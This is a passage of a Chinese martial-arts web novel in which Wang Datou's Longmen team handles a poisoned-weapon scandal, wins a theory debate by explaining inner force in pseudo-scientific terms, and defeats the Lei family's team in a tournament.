“没事……皮外伤……”张猛咧嘴笑道,“就是有点……晕……”
说完,他眼前一黑,昏了过去。
“医务组!快!”裁判急忙喊道。
龙门众人冲进场内,王大头检查张猛的伤势,脸色凝重:“伤口有毒。”
“毒?”周倩脸色煞白。
王大头撕开张猛后背的衣服,伤口周围已经发黑,血液呈暗红色,明显是**迹象。
“**上淬了毒。”
南宫明月走过来,看了一眼伤口,“是‘麻痹散’,不会致命,但会让伤口难以愈合,且会逐渐麻痹神经。”
“卑鄙!”吴刚怒道。
王大头立刻运起内力,封住张猛伤口周围的穴位,阻止毒素扩散。同时看向裁判:“裁判,天骄预备营使用淬毒武器,违规!”
裁判脸色难看,上前检查伤口,又捡起孙狼掉落的**,仔细检查。
**尖端,果然有暗蓝色的反光。
“天骄预备营三队,使用淬毒武器,严重违规!”
裁判沉声宣布,“本场比赛取消成绩!龙门直接获胜!天骄预备营三队取消后续比赛资格!”
全场哗然!
使用淬毒武器,这在正规比赛中是绝对禁止的!一旦发现,后果极其严重!
天骄预备营那边,赵虎猛地站起,脸色铁青:“不可能!我们的武器都经过检查!”
“检查?”裁判冷笑,“那你解释解释,这**上的毒是哪来的?”
赵虎语塞。
钱豹等人也慌了。他们确实不知道**上有毒,孙狼什么时候动的手脚?
孙狼此刻被医务组控制,脸色惨白,嘴唇哆嗦着说不出话。
“带走!严加审问!”裁判一挥手,安保人员立刻上前,将孙狼押走。
赵虎死死盯着王大头,眼中充满了怨毒:“好,很好……王大头,你够狠!”
王大头平静地看着他:“自作孽,不可活。”
赵虎冷哼一声,带着剩下的队员愤然离场。
医务组将张猛抬上担架,送往医疗中心。
王大头、周倩、吴刚随行,南宫明月则留下处理后续事宜。
医疗中心里,医生为张猛清洗伤口,注射解毒剂。
“毒素已经控制住了,但需要休养一周。”医生道,“这段时间不能剧烈运动。”
“一周?”王大头皱眉。团队赛小组赛还有最后一场对雷家二队,就在三天后。
“能不能快点恢复?”周倩急切地问。
“除非用特效药。”医生摇头,“但那种药很稀有,而且有副作用。”
就在这时,白子羽匆匆赶来。
“王会长,我听说张猛受伤了?”白子羽关切地问。
“嗯,**上有毒。”王大头沉声道。
白子羽检查了一下伤口,从怀里取出一个小瓷瓶:“这是我白家秘制的‘清毒散’,专解各种麻痹类毒素。外用三天,应该能恢复大半。”
王大头接过瓷瓶,郑重道:“多谢白公子。”
“不必。”白子羽摆摆手,“我们是盟友。另外……”
他压低声音:“我刚得到消息,孙狼在审讯中招了。他说是雷烈给他**,让他找机会在比赛中下毒。但**具体来源,他不清楚。”
雷烈!
果然是他!
王大头眼神冰冷:“雷家这是要彻底撕破脸了。”
“**山刚才去了组委会,说是孙狼个人行为,与雷家无关。”白子羽道,“但谁都知道,没有雷家授意,孙狼哪来的胆子?”
“组委会怎么说?”
“暂时没有结论,但雷家二队的比赛资格暂时保留。”白子羽叹道,“雷家在协会的影响力不小,这事恐怕会不了了之。”
正说着,病房门被推开,李雅和孙浩走了进来。
“大头,情况怎么样了?”李雅急切地问。
第122章:科学解析
“猛哥没事,休养几天就好。”王大头道,“外面的情况呢?”
“天骄预备营三队被取消资格,第七组现在只剩三支队伍:我们龙门、雷家二队、铁马帮。”
李雅快速汇报,“按照规则,小组赛继续进行,铁马帮已经自动晋级,我们和雷家二队争夺另一个出线名额。”
“也就是说,三天后对雷家二队,是生死战。”吴刚沉声道。
“对。”李雅点头,“赢了晋级六十四强,输了淘汰。”
病房里气氛凝重。
张猛受伤,团队战力受损。雷家二队实力强劲,雷烈更是恨不得将龙门撕碎。
这一战,难了。
“王会长,如果需要帮助,我们白家可以……”白子羽开口。
“不必。”王大头摇头,“这是我们龙门自己的战斗。”
他看着病床上昏迷的张猛,眼神坚定:“三天后,我们会赢。为了猛哥,也为了龙门。”
众人点头。
但每个人心中都清楚,接下来的三天,将是龙门成立以来最艰难的时刻。
团队赛小组赛最后一场的前一天,基地里暗流汹涌。
天骄预备营三队因使用淬毒武器被取消资格的消息,如野火般传开。
孙狼在审讯中供出雷烈的消息,虽然被组委会压了下来,但在各队伍之间已不是秘密。
许多人都在猜测,雷家会不会因此受到惩罚。
但更多人关注的,是三天后龙门与雷家二队的生死战。
一方是本届比赛最大黑马,个人赛冠军的队伍;另一方是北方武道世家雷家的精锐队伍,双方本就有恩怨,如今又添新仇。
这一战,注定激烈。
龙门小楼里,气氛有些压抑。
张猛虽然用了白子羽的清毒散,伤口恢复得很快,但身体仍有些虚弱,医生建议至少休养五天。
可比赛就在明天,他坚持要上场。
“猛哥,你还是别上了。”
周倩劝道,“伤口虽然愈合了,但内力运转还不顺畅,强行上场会加重伤势。”
“那怎么行!”张猛瞪眼,“打雷家那帮孙子,怎么能少了我?”
“猛哥,小倩说得对。”王大头沉声道,“明天你不能上场。”
“大头!我……”
“这是命令。”王大头语气不容置疑,“你的任务是养好伤,准备淘汰赛。如果我们在小组赛就输了,那也就不用谈什么淘汰赛了。”
张猛张了张嘴,最终颓然坐下。
确实,以他现在的状态,上场反而是拖累。
“那明天谁上?”吴刚问。
龙门现在有六个正式队员:王大头、张猛、周倩、吴刚、孙浩、南宫明月。张猛不能上,那就是五个人,正好符合比赛人数要求。
但问题在于,孙浩的实力在团队赛中有些不够看。昨天的夺旗战,王大头特意没让他上场,就是考虑到防御不足的问题。而对雷家二队,肯定更加凶险。
“明天第一局擂台战,我上。”王大头道,“第二局夺旗战,小吴、小倩、小孙、明月,你们四个上。第三局混战,看情况调整。”
“让小孙上夺旗战?”周倩有些担心。
“雷家二队的战术风格,是传统的世家打法,讲究堂堂正正,但变化不足。”
王大头分析道,“小孙的速度优势,在复杂地形中反而能发挥出来。而且……”
他看向孙浩:“小孙,你练的《游龙步》基础步法,已经小成了吧?”
孙浩点头:“嗯,按照王老师教的呼吸法和发力技巧,我现在能做到‘三息九步’了。”
“三息九步”,是《游龙步》入门的标志,意味着在三息(约六秒)时间内,能走出九步特殊步法,每一步都暗合某种力学原理,让移动轨迹难以捉摸。
“很好。”王大头点头,“明天夺旗战,你的任务不是正面对抗,而是骚扰、侦查、牵制。利用你的速度,让雷家的人疲于奔命。”
“明白!”孙浩眼睛一亮。
“小吴负责守旗,小倩负责指挥和策应,明月自由行动。”
王大头继续布置战术,“记住,我们的目标是赢,不是拼命。如果事不可为,立刻撤退,保留实力。”
众人点头。
正说着,敲门声响起。
开门,是基地工作人员,送来一份通知。
“王会长,这是明天比赛的补充规则。”
工作人员道,“组委会决定,明天龙门对雷家二队的比赛,将增加‘理论考核’环节。”
“理论考核?”王大头一愣。
“是的。”工作人员解释,“团队赛除了实战,还要考察队伍的理论素养。明天比赛前,双方领队需要进行一场武道理论答辩,由三位专家评委打分,分数计入总成绩。”
他递上一份文件:“具体规则和要求都在里面,请仔细阅读。”
送走工作人员,众人立刻围拢过来。
李雅翻开文件,快速浏览:“理论考核内容……传统武学原理、现代运动科学、实战战术分析……范围很广啊。”
“考核形式是现场出题,限时作答,三位评委打分,取平均分。”周倩读着细则,“分数占总成绩的20%。也就是说,如果理论考核得分高,在实战中就能占据优势。”
“这是谁想出来的?”
张猛皱眉,“武道比赛,比什么理论?”
“可能是为了平衡。”
吴刚分析道,“有些队伍实战强但理论弱,有些则相反。增加理论考核,能让比赛更全面。”
“但这对我们有利。”王大头忽然道。
“有利?”众人看向他。
“你们忘了我们龙门是做什么的?”
王大头笑了,“科学武道,核心就是用科学方法解析和优化武道。论实战,我们或许不是最强的;但论理论……我不信有人比我们更懂‘科学武道’。”
众人眼睛一亮。
对啊!理论考核,这简直是龙门的专业领域!
“不过也不能大意。”
王大头冷静道,“雷家是传承三百余年的武道世家,他们的理论体系虽然传统,但很完整。而且,评委都是传统武术界的前辈,他们未必能接受我们的‘科学解析’。”
“那怎么办?”孙浩问。
“用事实说话。”王大头道,“用数据,用原理,用他们无法反驳的科学逻辑。”
接下来的半天,龙门众人全力准备理论考核。
王大头将自己对武道的理解、对科学训练的研究,系统性地整理出来。周倩和吴刚帮忙整理资料、制作图表。李雅则去收集雷家二队的情报,了解他们的
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理论体系特点。
南宫明月虽然没参与讨论,但偶尔会提出一两个精辟的观点,让众人茅塞顿开。
晚上,白子羽来访。
“王会长,理论考核的事听说了吗?”白子羽问。
“嗯,正在准备。”
“我打听到,明天的三位评委,都是传统武术界的老前辈。”
白子羽低声道,“其中有一位,是雷家的姻亲,嵩山派的长老,叫岳松涛。此人思想保守,对‘科学武道’这种新事物,恐怕不会有好脸色。”
嵩山派?岳松涛?
王大头记下了这个名字。
“另外两位呢?”
“一位是武道协会的资深顾问,退休的大学教授,叫**远。此人比较开明,年轻时留学海外,对现代科学很感兴趣。”
白子羽道,“还有一位是军方代表,特种部队的格斗教官,叫赵刚。他更看重实战效果,理论方面要求不高。”
两位相对中立,一位可能偏袒雷家。
情况不算太糟。
“多谢白公子提醒。”王大头道。
“另外,还有件事。”
白子羽神色凝重,“我的人发现,雷烈今天下午去了组委会,见了岳松涛。两人密谈了半个多小时。”
“他们想干什么?”
“不清楚。”
白子羽摇头,“但肯定没好事。王会长,明天的理论考核,你要小心岳松涛刁难。”
送走白子羽,王大头沉思良久。
看来,明天的比赛,不仅仅是擂台上见真章,理论考核也是一场硬仗。
夜深了。
王大头独自坐在房间里,面前摊开一叠稿纸,上面写满了公式、图表、力学分析。
他拿起笔,在纸上写下一行字:
“武道,是人体潜能开发的科学。”
这是他对武道的根本理解。
无论传统武术有多少玄妙的说法,归根结底,都是对人体的开发、对力量的运用、对能量的掌控。
而科学,就是研究这些规律的工具。
明天的理论考核,他要做的,就是用科学的语言,重新诠释武道。
这可能会得罪很多传统派的前辈。
但这就是龙门要走的路。
不破不立。
窗外,月明星稀。
王大头放下笔,走到窗前。
远处,雷家所在的楼栋还亮着灯,隐约能看到人影晃动。
第二天清晨,基地中间的多功能会议厅。
理论考核的会场就设在这里。
与喧闹的比赛场地不同,这里布置得庄重肃穆,仿佛学术报告厅。
正前方是评委席,坐着三位评委:中间是白发苍苍的嵩山派长老岳松涛,左侧是戴着眼镜、气质儒雅的**远教授,右侧是坐姿笔挺、面容冷峻的赵刚教官。
观众席上坐满了各支队伍的领队和队员,大家都想看看这场特殊考核会是什么结果。
龙门和雷家二队的座位被安排在会场两侧,遥遥相对。
王大头独自坐在龙门区域的第一排,面前放着纸笔和一些资料。
他今天穿着简朴的灰色练功服,神色平静,仿佛只是来参加一场普通考试。
对面,雷烈也独自坐着,脸上带着一丝若有若无的冷笑。
他今天特意穿了雷家传统的深蓝色长袍,显得格外正式。
第123章:理论之争
上午九点,考核正式开始。
主持人简单介绍规则后,第一位评委岳松涛开口了。
“武道传承数千年,博大精深。”
岳松涛声音洪亮,带着老一辈武者特有的威严,“今日理论考核,旨在考察年轻一代对武道的理解。第一个问题——”
他顿了顿,目光扫过王大头和雷烈:“何为‘内劲’?请从原理、修炼方法、运用技巧三个方面阐述。”
这是一个非常基础但又极其核心的问题。几乎所有武者都知道内劲是什么,但要系统阐述清楚却不容易。
雷烈率先举手:“我先来。”
“请。”
雷烈站起身,朗声道:“内劲,乃武者通过长期修炼,将先天元气与后天精气融合,在丹田凝聚而成的一种特殊能量。修炼方法,各家各派虽有不同,但核心不外乎‘炼精化气、炼气化神、炼神返虚’。运用技巧上,讲究‘意到气到、气到力到’,通过特定经脉运行,可发于体外,伤人于无形。”
他的回答标准而规范,完全是传统武学的标准答案。
岳松涛满意地点头:“不错,深得传统精髓。王会长,你怎么看?”
所有人的目光聚焦到王大头身上。
王大头缓缓起身,没有立刻回答,而是走到会场中间的白板前,拿起笔。
“内劲,从科学角度理解,是人体生物能的一种高级运用形式。”
他在白板上画了一个简单的人体轮廓,“传统所说的‘丹田’,在解剖学上对应小腹深处的腹横肌、盆底肌群以及附近的神经丛。长期正确的呼吸和肌肉训练,可以强化这片区域,形成一种特殊的‘能量储存和释放系统’。”
他继续画图:“所谓‘炼精化气’,本质是通过饮食摄入能量物质(精),经过消化吸收转化为化学能(气)。‘炼气化神’,是将这种化学能通过特定训练转化为神经肌肉系统的高度协调能力(神)。至于‘炼神返虚’……”
他顿了顿:“那可能涉及到更深层次的人体潜能开发,目前还无法完全用科学解释,但可以肯定的是,那不是什么玄妙的东西,而是有生理基础的。”
这番解释,完全打破了传统的内劲描述!
会场里一片哗然!
“胡说八道!”
有人忍不住喊道,“内劲是武道精髓,岂能用什么‘生物能’来解释?”
“就是!这是对武道的亵渎!”
但也有少数人露出若有所思的表情,尤其是年轻一代的武者,他们接触过现代科学教育,对这种解释更容易接受。
评委席上,岳松涛脸色阴沉:“王会长,你的意思是,我辈武者苦修数十年的内劲,只是……肌肉和神经的协调?”
“不只是协调。”
王大头平静道,“还包括能量转换效率的提升、微观层面的细胞活性增强、以及可能存在的某种……目前科学尚未完全探明的生物场效应。”
“生物场效应?”**远教授眼睛一亮,“能具体说说吗?”
“比如一些高深内功修炼者,能在体外形成‘气场’,影响周围环境。”
王大头在白板上写下一串公式,“这可能是人体生物电场、磁场以及某种未知能量场的复合效应。虽然现代科学还无法完全解释,但我们可以用科学方法去测量、分析、研究,而不是笼统地归为‘玄妙’。”
赵刚教官忽然开口:“王会长,你的理论很有趣。但我想知道,这种‘科学解析’对实战有什么帮助?”
“帮助很大。”
王大头转向赵刚,“如果我们知道内劲的本质是生物能,就可以用更科学的方法训练——比如通过监测肌肉电信号优化发力,通过血氧分析调整呼吸节奏,通过营养学增强能量储备。这比单纯靠‘感悟’和‘苦练’,效率要高得多。”
他看向雷烈:“雷公子刚才说‘意到气到,气到力到’,这个原理是对的。但从科学角度,我们可以进一步分析:‘意’是大脑神经信号,‘气’是能量传递,‘力’是肌肉收缩。如果我们能精确控制神经信号的传递路径和强度,就能更高效地调动能量,产生更强的力量。”
雷烈脸色铁青:“荒谬!武道是千年传承的智慧,岂是你们这些半路出家的野路子能理解的?”
“传承需要尊重,但不能盲从。”
王大头毫不退让,“千年前的先辈,在当时的认知水平下,创造了辉煌的武道体系。但千年后的今天,科学已经发展到了新的高度,我们有责任用新的眼光重新审视、优化、发展武道。这才是对传承真正的尊重。”
“你……”
雷烈还要反驳,被岳松涛抬手制止了。
“好了,第一题到此为止。”
岳松涛面无表情,“接下来第二题,请阐述‘轻功’的原理。”
这一次,王大头主动举手:“我先来。”
“请。”
王大头走到白板前,擦掉之前的图,重新画起来。
“传统轻功,分为‘提纵术’‘踏雪无痕’‘草上飞’等多种。从物理角度,核心在于减少对地面的作用力、增加作用时间、以及利用空气动力学。”
他在白板上写下一组公式:“根据牛顿第三定律,作用力等于反作用力。要想跳得高、跑得快,就需要在短时间内对地面施加更大的力。传统轻功的修炼,本质是增强腿部爆发力,同时通过特殊技巧,让力量释放更均匀、更持久。”
他画了一个人跳跃的示意图:“‘踏雪无痕’的关键,在于脚掌与地面接触时,力量分布极其均匀,压强减小,所以不会在松软地面留下深痕。这需要精确的肌肉控制和平衡能力。”
“那‘草上飞’呢?”**远饶有兴趣地问。
“那更复杂一些。”
王大头又画了一幅图,“涉及短暂的凌空换气、利用气流升力、以及极高的步频。从生物力学角度,需要腿部肌肉在极短时间内完成收缩-舒张循环,对心肺功能和神经反应要求极高。现代短跑运动员的步频可以达到每秒4.5步,而顶尖轻功高手,可能达到每秒6步甚至更高。”
“每秒6步?”
赵刚教官眼睛一亮,“这数据有实测吗?”
“我做过一些初步测量。”
王大头道,“我龙门的一位弟子,专修速度,在全力爆发时能达到每秒5.2步。当然,和真正的轻功高手还有差距,但方向是对的。”
会场里再次响起议论声。
这次,不少人的态度发生了变化。
尤其是年轻武者,他们听得津津有味,这种将神秘武学用科学语言解析的方式,让他们有一种豁然开朗的感觉。
雷烈的脸色更加难看。
他准备的传统答案,在王大头的科学解析面前,显得苍白而空洞。
岳松涛的脸色也很不好看,但他强压着怒气:“第三题,关于实战战术。如果面对一个力量、速度都优于你的对手,该如何应对?”
这个问题很实际,也很有针对性——几乎就是在问王大头如何对付雷烈这样的对手。
雷烈精神一振,抢先回答:“当以柔克刚,以巧破力。运用步法周旋,寻找对方破绽,一击制敌。我雷家‘奔雷步’配合‘惊雷掌’,就是以快打慢、以巧破力的典范。”
标准答案。
岳松涛点头,看向王大头。
王大头沉思片刻,道:“从战术角度,雷公子说得对。但从科学角度,我们可以进一步细化。”
他再次走向白板:“假设对手力量强30%,速度快20%。传统思路是‘以柔克刚’,但具体怎么做?我们可以建立数学模型。”
他在白板上写下变量:力量
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差距F,速度差距V,反应时间T……
“首先,通过步法保持安全距离,这个距离需要精确计算,太远无法反击,太近会被压制。根据对方的速度和加速度,可以算出临界距离。”
“其次,观察对方的攻击习惯。每个人都有自己的发力偏好和节奏,通过统计对方前几次攻击的角度、力度、间隔,可以预测下一次攻击的轨迹。”
“第三,选择反击时机。不是对方露出破绽才反击,而是主动制造破绽——比如故意卖个破绽引诱对方,或者在对方发力到一半、难以变招的瞬间反击。”
他一边说一边画图,将一场虚拟的战斗分解成数十个参数和步骤,看得众人目瞪口呆。
“这……这太复杂了吧?”有人忍不住道,“实战中哪有时间想这么多?”
“不需要实时计算。”
王大头解释,“这些分析应该在平时训练中完成,形成‘肌肉记忆’和‘战斗直觉’。科学训练的目的,就是将这些复杂决策内化为本能反应。”
赵刚教官忽然鼓起掌来。
“精彩!”
他罕见地露出笑容,“王会长的理论,虽然与传统大相径庭,但逻辑严密,有很强的实操性。我们部队的格斗训练,也在向这个方向发展——用数据分析优化动作,用模拟对抗培养战术意识。”
**远教授也点头:“确实很有启发性。传统武学重‘感悟’,科学武道重‘分析’,两者结合,或许能走出一条新路。”
只有岳松涛脸色铁青。
他盯着王大头,一字一句道:“王会长,你的理论听起来很美好。但武道,最终还是要靠拳头说话。再精妙的理论,打不赢也是空谈。”
“岳长老说得对。”
王大头平静回应,“所以今天下午的实战,我会用结果证明,科学武道不仅理论先进,实战同样强大。”
“好!我等着看!”
岳松涛冷哼一声。
理论考核结束,三位评委开始打分。
十分钟后,结果公布。
岳松涛给雷烈9分,给王大头5分——这已经是很明显的偏袒了。
**远给雷烈7分,给王大头9分。
赵刚给雷烈6分,给王大头9分。
最终平均分:雷烈7.33分,王大头7.67分。
龙门以0.34分的微弱优势,赢得理论考核!
这个结果让很多人意外。
原本以为王大头那套“离经叛道”的理论会被打低分,没想到两位中立评委都给出了高分。
雷烈当场就炸了:“这不公平!他那些歪理邪说,凭什么得高分?”
“雷公子,请注意言辞。”
**远皱眉,“科学解析武道,是未来的方向。王会长的理论虽有争议,但逻辑严谨,值得鼓励。”
岳松涛也沉着脸,但没再说什么。
王大头平静地回到座位。
他知道,理论考核只是前菜,真正的考验在下午的实战。
但至少,他赢下了第一局。
龙门队员们围上来,脸上都带着兴奋。
“王老师,你讲得太棒了!”孙浩激动道,“我都听懂了!”
“那些公式和图表,很有说服力。”周倩点头。
吴刚则认真记录着什么:“王老师刚才提到的临界距离计算公式,我要记下来,以后训练用。”
只有南宫明月站在外围,抱着剑,淡淡说了一句:“理论赢了,实战更要赢。岳松涛不会善罢甘休的。”
果然,众人看向评委席,岳松涛正和雷烈低声说着什么,目光不时扫向龙门这边,眼神不善。
王大头深吸一口气。
下午的实战,将是真正的硬仗。
但既然走到了这一步,就没有退路。
科学武道的路,他要一步步走实。
用理论,也用拳头。
第124章:首战告捷
理论考核结束后的中午,基地里的气氛微妙而紧绷。
龙门小楼里,众人正在做最后的战术确认。
张猛虽然还不能上场,但坚持要在场边观战。
“猛哥,你就在医疗中心休息吧。”
周倩劝道,“伤口还没完全愈合,不宜走动。”
“那怎么行!”
张猛瞪眼,“打雷家那帮孙子,我哪怕不能上场,也要在现场看着!我要亲眼看到他们被揍趴下!”
王大头拍了拍张猛肩膀:“想去就去吧,但答应我,无论发生什么,都不准冲动上场。”
“我保证!”张猛立刻道。
李雅调出雷家二队的资料:“雷烈是队长,暗劲后期,擅长惊雷掌和奔雷步。其他四名队员:**(暗劲中期,硬功)、雷云(暗劲中期,轻功)、雷雨(暗劲中期,暗器)、雷鸣(暗劲中期,刀法)。从配置上看,是一个很均衡的战术小队。”
“暗器?”
孙浩皱眉,“比赛允许用暗器吗?”
“训练用暗器,特制的,没有杀伤力但能干扰行动。”
李雅解释,“雷雨的‘雷芒针’很有名,速度快,准头高,专打穴位。”
吴刚翻开小本子:“根据现有数据,雷烈的最大拳力预估在九百公斤左右,速度每秒12米。**的硬功防御系数大约在7.5,雷云的轻功步频每秒4.8步,雷雨的暗器射速每秒3发,雷鸣的刀法攻击角度覆盖120度……”
一连串的数据,听得孙浩头晕。
“简单来说,”
王大头总结,“雷家二队很强,但并非不可战胜。他们的战术核心是雷烈,只要限制住雷烈,其他人不足为虑。”
“怎么限制?”周倩问。
“用战术。”
王大头在白板上画图,“第一局擂台战,我上,对雷烈。第二局夺旗战,是关键。”
他指着地形图:“今天的比赛场地在**训练场,是水陆混合地形。旗帜点在小岛上,需要泅渡或利用简易舟筏。这对擅长轻功的雷云有利,但对我们的战术同样有利。”
“小吴,你负责守旗,就在岛上固守。小倩,你指挥全局,协调调度。小孙,你的任务是骚扰雷雨——他是远程,最怕近身缠斗。明月……”
他看向南宫明月:“你自由行动,寻找机会,一击必杀。”
南宫明月点头:“明白。”
“记住,我们的优势是配合和战术执行力。”
王大头强调,“雷家是传统世家打法,讲究个人武勇。我们要用团队的力量,击败他们。”
下午两点,**训练场。
今天的观众比以往任何一天都多。
理论考核的争议、龙门与雷家的恩怨、再加上这是小组赛的生死战,让这场比赛成了焦点中的焦点。
观众席上,白子羽、林惊羽等人都来了。
评委席上,岳松涛、**远、赵刚三位评委也在场——理论考核的评委,也是实战比赛的监督。
场地内,湖水清澈,小岛上的旗帜在风中飘扬。岸边停放着几艘简易的木筏和皮划艇。
双方队员入场。
龙门这边,王大头、周倩、吴刚、孙浩、南宫明月五人。
雷家二队,雷烈、**、雷云、雷雨、雷鸣五人。
两队隔着湖水相望,空气中仿佛有火花迸溅。
主裁判宣布规则:“三局两胜制。第一局擂台战,在岸边擂台进行。第二局夺旗战,目标夺取对方岛屿上的旗帜。第三局混战,在整片场地进行。现在,第一局开始!”
擂台战,王大头对雷烈。
两人登上岸边专门搭建的擂台。
“王大头,理论考核让你侥幸赢了。”
雷烈眼神阴冷,“但实战,我会让你知道什么叫差距。”
“请。”王大头平静摆出起手式。
裁判示意开始。
雷烈果然一开场就是全力爆发!
奔雷步施展,整个人如一道蓝色闪电,瞬间贴近,惊雷掌直拍王大头胸口!
掌风呼啸,隐隐有雷鸣之声!
这一掌,威力比雷昊的惊雷掌更加凝练,更加霸道!
王大头不敢硬接,《游龙步》展开,侧身闪避。
他能感觉到,雷烈的实力确实在雷昊之上,掌力更加凝练,雷电之气也更加精纯。
但,并非不可战胜。
十招试探后,王大头摸清了雷烈的路数。
惊雷掌刚猛霸道,但变招稍慢;奔雷步速度极快,但转向不够灵活。
二十招时,王大头开始反击。
他不再一味闪避,而是主动贴近,双拳如雨点般轰出!
每一拳都精准地打在雷烈发力的节点上,破坏他的节奏。
雷烈越打越心惊。
他能感觉到,王大头的拳法并不复杂,但每一拳都打在关键位置,让他浑身难受,仿佛被无形的锁链束缚。
“这是什么拳法?”
雷烈忍不住问。
“龙门基础拳法。”
王大头平静道,“但加了一点科学分析——你的惊雷掌发力时,肩关节会先向后引0.1秒再前推;你的奔雷步转向时,左脚会比右脚多承担15%的体重。这些习惯,就是破绽。”
雷烈脸色大变!
这些细节,连他自己都没注意到!
“不可能!你怎么可能看出来?”
“观察,计算,分析。”
王大头一拳轰出,正中雷烈肩关节后引的瞬间,“这就是科学武道。”
“砰!”
雷烈闷哼一声,连退三步,肩关节剧痛!
他眼中闪过疯狂之色,猛吸一口气,周身雷纹隐现——这是惊雷掌第七重,天雷引!
但王大头比他更快!
在雷烈蓄势的瞬间,王大头已经踏步向前,一拳轰出!
这一拳,看似简单,却蕴含着他全部的内力、全部的精神、全部的科学分析!
拳意·开辟!
后发先至!
“轰——!!!”
拳掌相交!
雷烈只觉得一股无可抵御的巨力传来,整个人倒飞出去,重重摔在擂台边缘,一口鲜血喷出!
他挣扎着想站起,但肩关节脱臼,内脏震荡,根本使不上力。
“第一局,龙门胜!”裁判宣布。
全场哗然!
雷烈,雷家这一代仅次于雷昊的天才,竟然在擂台战中败了!而且败得如此干脆!
雷家那边,**等人脸色铁青。
观众席上,岳松涛猛地站起,又强压着坐下,脸色难看至极。
王大头走下擂台,迎接他的是队友们兴奋的目光。
“王老师,太厉害了!”孙浩激动道。
“只是第一局。”
王大头平静道,“接下来才是关键。”
第二局夺旗战,即将开始。
双方队员各自登上简易舟筏,朝湖心小岛划去。
龙门这边,吴刚和周倩一组,孙浩和南宫明月一组,分乘两艘皮划艇。
雷家那边,**和雷鸣一组,雷云和雷雨一组,雷烈因伤不能上场,由替补
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队员雷闪代替。
小岛面积约两百平方米,中间有一个木制平台,旗帜就插在上面。
比赛开始!
雷云不愧是轻功高手,皮划艇还没靠岸,他已经一跃而起,如飞鸟般掠过水面,抢先登陆!
孙浩见状,也施展《游龙步》,踏着水面疾冲——虽然不能像雷云那样长时间踏水,但短距离冲刺还是能做到的。
两人几乎同时登岛!
“你的对手是我!”孙浩拦住雷云。
雷云冷笑:“就凭你?”
他脚步一错,身形如云般飘忽,瞬间绕过孙浩,直扑旗帜!
但孙浩的速度也不慢,《游龙步》全力施展,死死缠住雷云。
两人在岛上追逐缠斗,一时难分高下。
这时,其他队员也陆续登岛。
**和雷鸣直奔吴刚和周倩,想要快速解决这两个看起来最弱的对手。
但吴刚的下盘功夫极稳!
他双脚如生根般扎在地上,硬功催动,硬抗**的拳脚!
雷鸣的刀法虽然凌厉,但周倩的策应和干扰让他无法全力施展。
四人战成一团,旗鼓相当。
雷雨则站在岸边,手中扣着特制的“雷芒针”,随时准备支援。但南宫明月已经悄无声息地出现在他身后。
“你的对手是我。”南宫明月长剑出鞘。
雷雨大惊,急忙转身,一把雷芒针射出!
但南宫明月的剑更快!
剑光如瀑,将所有雷芒针击落!同时剑尖已经抵在雷雨咽喉前三寸!
“认输,或者死。”
雷雨脸色惨白,咬牙道:“我认输。”
南宫明月收剑,身形一晃,已经朝岛上掠去。
此时岛上,孙浩和雷云的战斗已经进入白热化。
雷云的轻功确实高明,但孙浩的速度和耐力更强,两人谁也奈何不了谁。
**和雷鸣久攻不下,有些急躁。就在这时,南宫明月到了。
她如鬼魅般出现在雷鸣身后,一剑刺出!
雷鸣察觉危险,急忙回刀格挡,但周倩的干扰让他慢了半拍!
“噗!”
剑尖刺入雷鸣肩膀,虽不致命,但让他瞬间失去战斗力!
**见状,怒吼一声,放弃吴刚,扑向南宫明月!
但吴刚哪会让他得逞?一步踏出,如铁塔般挡在面前!
“你的对手是我。”
**气得双目赤红,却无可奈何。
此时,孙浩抓住雷云一个疏忽,一记扫堂腿将其放倒,紧接着连续三拳轰在对方防御空当,逼得雷云认输。
**见大势已去,只能咬牙认输。
“第二局,龙门胜!”裁判宣布。
三局两胜,龙门已经赢得比赛!
但按照规则,第三局还要进行。
第三局混战,雷家二队五人全部上场,但雷烈伤势不轻,实力大打折扣。
龙门这边士气正盛,配合默契。
十分钟后,雷家二队全员落败。
“本场比赛,龙门三比零获胜!龙门晋级六十四强!雷家二队淘汰!”
裁判的宣布,为这场比赛画上**。
全场掌声雷动。
龙门,这支半年前还不存在的队伍,这支自称“科学武道”的队伍,在所有人不看好的情况下,一路过关斩将,杀入全国六十四强!
雷烈被队友搀扶着,死死盯着王大头,眼中充满了怨毒:“王大头……这事没完!”
“随时奉陪。”王大头平静回应。
龙门众人聚在一起,击掌庆祝。
第125章:科学答卷
团队赛六十四强淘汰赛的抽签仪式,在龙门击败雷家二队的第二天举行。
这一次的抽签,不再以队伍为单位,而是将所有晋级队伍的名字放入一个巨大的电子抽签系统,由电脑随机匹配。
据说这样可以最大限度避免人为操控——虽然很多人私下认为,该操控的还是能操控。
基地最大的会议厅里,六十四支队伍的领队齐聚一堂。
空气中有种无形的张力,能走到这一步的没有弱旅,每一支队伍都经历了小组赛的残酷厮杀。
王大头坐在龙门区域,身边是李雅和南宫明月。
张猛还在医疗中心休养,不过医生说他恢复得很好,再过两天就能归队训练。
“大头,你看那边。”
李雅压低声音,示意会场另一侧。
王大头顺着她的目光看去,只见**山和沈万钧坐在一起,正低声交谈。
两人脸色都不太好看,尤其是沈万钧,沈家二队在小组赛就被淘汰,沈坤重伤未愈,这次新秀赛对沈家来说可谓损失惨重。
“雷烈呢?”
王大头问。
“雷烈昨天比赛结束后,就被雷家的人接走了。”
南宫明月淡淡道,“据说**山动用了家族关系,把他送去了一个隐秘的地方疗伤。”
“疗伤?”
王大头皱眉,“他的伤有那么重?”
“肩关节脱臼,内脏震荡,但都不致命。”
南宫明月顿了顿,“我猜,雷家可能是想避开接下来的风波。雷烈在比赛中使用违规手段的事,虽然暂时被压下去了,但很多人都在盯着。”
正说着,抽签仪式开始了。
大屏幕上,六十四支队伍的名字开始快速滚动。几秒后,第一组对阵出炉:
龙门武道研究会VS嵩山派
“嵩山派?”
张猛的声音从身后传来——他不知何时溜出了医疗中心,偷偷跑来观礼。
“猛哥,你怎么来了?”周倩惊讶道。
“躺不住。”
张猛咧嘴笑道,但牵动了后背的伤口,疼得龇牙咧嘴,“嵩山派……就是那个岳松涛的宗门?”
“对。”
李雅调出资料,“嵩山派是传统名门正派,以剑法和内功见长。这次带队的是岳松涛的徒弟,叫岳**,二十七岁,化劲初期,是嵩山派年轻一代的领军人物。”
化劲初期!
众人心头一沉。
个人赛夺冠的王大头也只是初窥化劲门槛,而岳**是真正的化劲初期,而且出身名门,剑法造诣肯定极高。
“这签抽得……”
孙浩苦笑,“也太巧了吧?”
确实太巧了。
刚刚在理论考核中与岳松涛针锋相对,转头就在淘汰赛第一轮碰上嵩山派,这很难说是巧合。
